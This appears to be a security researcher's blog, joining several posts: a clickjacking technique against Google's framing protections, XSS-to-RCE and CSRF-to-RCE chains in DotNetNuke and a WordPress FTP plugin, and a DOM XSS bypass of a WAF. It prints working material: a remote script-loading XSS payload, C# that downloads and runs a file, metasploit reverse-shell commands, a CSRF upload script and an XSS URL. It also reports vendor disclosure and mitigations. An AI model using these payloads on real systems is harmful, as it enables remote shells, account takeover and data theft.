Clickjacking Google

When testing some x-frame-options behavior, I noticed that sameorigin cares about the top location, but not the parent location. At first I thought I discovered this, but turns out it’s not a brand new issue, and others have talked about it at least here and here.

It wasn’t immediately clear to me what sites were impacted, but two conditions need to be present: 1) somewhere on the victim domain, they need to allow you to frame stuff and 2) the victim domain uses x-frame-options sameorigin as a mitigation against clickjacking. With number two, most websites tend to not protect against clickjacking at all (which is worse, of course). However, there are a few places where these two conditions seem pretty pervasive. Google is the first thing that comes to mind because it’s common for Google to protect from clickjacking with x-frame-options: sameorigin, but then they allow external framing on the same domain. Using this and a little social engineering you can do some pretty nasty things, like an unprivileged Google Apps user taking over a domain.

A Couple Specific Examples

I have a pull request into BeEf for a module that my wife and I wrote which makes implementing these attacks trivial. I’ll probably do a blog post specifically about the module soon.

Attack 1: Making a Private Google Site Public

Here’s a video of Attack 1 in action, where victim Google site “besttest42” visits an attacker’s Google site “webstersprodigy” and inadvertently makes their site public by clicking on the next quote button a couple times (three to be exact)

Attack 2: unprivileged Google Apps user escalating to admin

  • Victim is logged in to a Google account.
  • Victim is social engineered to visit a “Google In-Page analytics” page that’s framing attacker controlled content (http://hacker.com). There seem to be a few other ways to frame attacker controlled content on google.com, such as igoogle or other things that might accept Google gadgets.
  • http://hacker.com can now frame a bunch of pages from google.com. Some targets are easier than others. Calendar is tough, for example, because it requires Javascript but also has a frame breaker. Others, like finance and reader, are easy. For my PoC, I framed the Google apps admin portal imagining the victim is a Google Apps admin and the attacker is an unprivileged apps user attempting to escalate priveleges. In this case, the attacker frames https://www.google.com/a/cpanel/webstersprodigy.net/Organization?userEmail=evilattacker@webstersprodigy.net
  • At this point there are four clicks involved. Click on “Roles and Privileges”, then “Assign more roles”, then “Super Admin” then “Confirm Assignment”.
  • I have a PoC for this as well as attack 1, but it’s more flaky because Google analytics Javascript sometimes made my clicks slightly off, and one click in particular I couldn’t completely hide (although I suspect with more time it should be possible). I admit the Google analytics route I have a PoC for would be tough to pull off in the real world (victim has to have recently logged in to admin portal, they have to click things inside of analytics) but the payoff is huge. The attacker is now an admin for a Google apps business and can do things like change a password and then read anyone’s email.

With attack 2, what we’re tricking the user to eventually click on is this:

Recommended Mitigations

I’m sure I’m not close to catching all the specific instances. It would probably be good for Google to go through most portals where users can change settings and set them to x-frame-options deny. A lot of these probably don’t need to be framed at all, and setting it to deny would stop the attack.

It would also be cool if Chrome checked the parent (and not just the top) when x-frame-options same-origin is set. Most browsers (Firefox, Safari, IE8) seem to do the same thing, but it seems wrong to me. It should be noted that IE9 and IE10 do better than this by checking the frame chain (e.g. this attack would fail with IE9).

Discosure Stuff

I contacted Google with basically the post above s/Google/you guys/ on 8/26. Here’s their response:

Thanks for your detailed report. Clearly, you understand some of the
challenges here ;)

This is something we’re aware of and there’s work going on amongst the
various browser vendors to modify (and agree on) what the right behaviour
should be. Right now, our approach is to bank on the browsers fixing this
in a more robust fashion.

I agree with this in principle. However, I would have liked to see x-frame-options deny set on the more sensitive pages. There are other UI redressing attacks possible of course, but since these require a few clicks I think using framing is by far the easiest. When I asked if they considered this a vuln or if they had any concerns about me writing about it, they wrote back:

No, it doesn’t qualify under the VRP — it’s something that we’re already
aware of. Feel free to write about it — it’s not especially widely known,
though is certainly not secret.

Server Shells from Web Clientside Attacks

One kind of attack that seems to be popular these days is the “broad impact” attack. These are the vulnerabilities that include “CSRF logout on Facebook” or “Self XSS using drag and drop on code.google.com”. The impact of these attacks is sometimes limited, but that’s made up for in a big way because there are just so many people that use Google and Facebook.

This post is kind of the opposite of that.*

Remember all those bug bounties and bulletins that security researchers have got for targeting a custom support internal web application and using that to compromise everything? Oh yeah, most companies probably don’t want to encourage that sort of delinquent behavior. And although these types of attacks are not “broad impact”, the criticality of these bugs can be freaking scary.

DotNetNuke XSS to RCE

One example of this can be shown by using one of the bugs I found with DotNetNuke.

This was kind of interesting. It turns out on a default install anyone can send “messages” which are kind of like a DotNetNuke version of email. You can get script into these messages, and with script running in an administrator account you get RCE. Pretty much every piece of this is straightforward.

  • The XSS is trigerred with HTML editable pages via <img src=”http://asdfasdf/blah&#8221; alt=”” />
  • The host user has a lot of power, and can do things like upload arbitrary aspx pages and execute them (as shown in the demo) or execute arbitrary SQL

Here are the repro steps for dotnetnuke 6.00.01, which was the current version when I found this:

  • Create metasploit connectback
  • Create metasploit listener
  • Start shell of the future… or do several requests and scrape VIEWSTATE which is the csrf mitigation. We can’t simply steal the session cookie since it’s set to httponly.
  • Get XSS in the host account. The basic XSS is simply an img onerror. The payload for shell of the future looks like this, but before sending it needs to be HTML encoded:
 
javascript:eval("s=document.createElement('script');
s.src='http://192.168.154.137:8000/e1.js';
document.getElementsByTagName('head')[0].appendChild(s)") 
  • With the XSS shell or dynamically with Javascript if you have time, enable aspx uploads. Note that at this point SQL injection is also possible.
  • Create an RCE C# script to execute meterpreter and upload to the server.

<script type="text/javascript">// <![CDATA[
 protected override void OnLoad(EventArgs e)
 {
 System.Net.WebClient client = new System.Net.WebClient();
 client.DownloadFile(@"https://webstersprodigy.net/manuploads/test92.txt", @"C:\windows\TEMP\test92.txt");
 System.Diagnostics.Process p = new System.Diagnostics.Process();
 p.StartInfo.UseShellExecute = false;
 p.StartInfo.RedirectStandardOutput = true;
 p.StartInfo.FileName = @"C:\windows\TEMP\test92.txt";
 p.Start();
Response.Write("Success");
 }
// ]]></script>

  • Finally, force browse to the page for a shell.

They fixed this with the bulletins below, although not sure I agree with the low/moderate rating since it’s pretty much a guaranteed shell as long as admins read their dotnetnuke messages.

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.60.aspx

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.62.aspx

WordPress MyFTP plugin CSRF to RCE

Have you ever used a piece of software, and you just know it’s hackable? That’s how I’ve been using MyFTP on this very site for a while. It’s an incredibly useful tool. It looks like it’s not super popular, but apparently the most recent version has had over 28,000 downloads at the time of this writing.

So I finally decided to look at this. It turns out everything is vulnerable to CSRF. There are several nasty exploits here. One of the easiest is being able to delete any file with the right permissions. Another easy one is being able to edit any file with the right permissions. One that’s a bit less straightforward is the file upload feature.

In this demo attack, I opted to try the file upload route using this technique I’ve been wanting to try for a while now: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html. The idea is that you use CORs to send the cross domain request, and you have more control over things like headers and multi part data. There’s the origin header sent, but who cares because the application ignores it.

Here are the repro steps:

1. Create Stage 1

It’s super cool that metasploit has a php meterpreter payload now. The raw php looks something like this:

./msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > bad.php

But since I’m uploading this using Javascript in step 2, I want a more JS-friendly format.

./msfpayload php/meterpreter/reverse_tcp LHOST=71.197.218.6  LPORT=443 -t pl | tr “.” “+” > js_php

2. Stage 2 Listener

use exploit/multi/handlerset PAYLOAD php/meterpreter/reverse_tcpset LHOST x.x.x.xexploit

3. Create a malicious page that uploads the PHP file using the CSRF bug

Using the CORs techniques mentioned above, the CSRF script will look similar to the following:

<script type="text/javascript">// <![CDATA[
function fileUpload(url, fileData, fileName) {
 var fileSize = fileData.length,
 boundary = "xxxxxxxxx",
 xhr = new XMLHttpRequest();
 xhr.withCredentials = "true";

 xhr.open("POST", url, true);
 // simulate a file MIME POST request.
 xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
 xhr.setRequestHeader("Content-Length", fileSize);

 var body = "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="desiredLocation"' + 'rnrn';
 body += '/var/www/public_htmlrn';
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upfile"; filename="' + fileName + '"rn';
 body += 'Content-Type: text/plainrnrn';
 body += fileData + "rn";
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upload"rnrn';
 body += 'Upload To Current Pathrn';
 body += "--" + boundary + "--";

 xhr.send(body);
 return true;
}

//encoded stage 1 payload in JS friendly form... from step 0
var data =
"x3cx3fx70x68x70x0ax0ax65x72x72x6fx72x5f" +
"x72x65x70x6fx72x74x69x6ex67x28x30x29x3bx0a" +
...

fileUpload('https://webstersprodigy.net/wp-admin/options-general.php?page=MyFtp&dir=/var/www/public_html/', data, 'bwahaha.php');
// ]]></script>

4. Profit

Now that the page is uploaded, visit it, and get a shell.

I reported this bug to wordpress, who has a great security team full of smart responsive people, and this was their response. This seems like the right course of action to me:

“The security team reviewed the report and based on the nature of the vulnerability, the current state of the plugin (unmaintained, not updated), and the inability to contact the author, they have decided the best course of action is to just remove it from the plugin directory. This also means that it will not be returned in any API results, etc making it impossible to install from the built-in plugin installer in the WordPress dashboard.”

It would be cool to notify the people who have the plugin installed, but I have no idea if WordPress would even have that kind of information.

Conclusions

So lets look at the nature of these types of attacks. When you have a powerful account/application, clientside attacks may be tougher to exploit realistically (it’s tougher to get a specific admin to visit your evil website than just somebody random who happens to be logged into Facebook) but there can also be a bigger payoff.

As consumers, if you use a powerful feature then I think it’s smart to run these types of things in their own incognito session or environment so clientside attacks like these are harder to pull off. As security people trying to make the web a safer place, I think this is a bit of a blind spot. We spend a lot of time and money making our car bullet proof and then leave the doors unlocked.

*Not to diminish the “broad impact” bugs. Those are awesome too.

DOM XSS Behind a WAF

Here’s the scenario, which seems obvious at first but took some time for me to figure out. It may be because I don’t find that many DOM XSS… they’re kinda tough to find. Anyway, say you receive the following response.

HTTP/1.1 200 OK
Content-Type: text/html

<html>
<script>
function funcURL() {
   var mDiv = document.getElementById('mid');
   mDiv.innerHTML = document.URL;
}
window.onload = funcURL
</script>
<body>
<div id="mid"></div>
</body></html>

An exploit doesn’t get much more straightforward than that. But here’s the catch: the URL is behind a pretty stringent WAF, where input such as <, >, and ‘ is completely rejected. Is this still exploitable? Think about this for a second (the hint is that it definitely is exploitable).

Ok. Done? Have a working exploit?

My first thought was to abuse the fact that Content-type is not set to UTF-8. I had no luck with this.

Then I had a duh moment. # are part of document.URL, but NOT sent to the server, so the waf never sees this. So that’s the exploit. But still, innerhtml defers execution, so that needs to be addressed as well – not quite as simple as <script>alert(1)</script> although close. The final URL works:

https://madeupbadURL.html?aaab#<img/src=’b’/onerror=alert(1)&gt;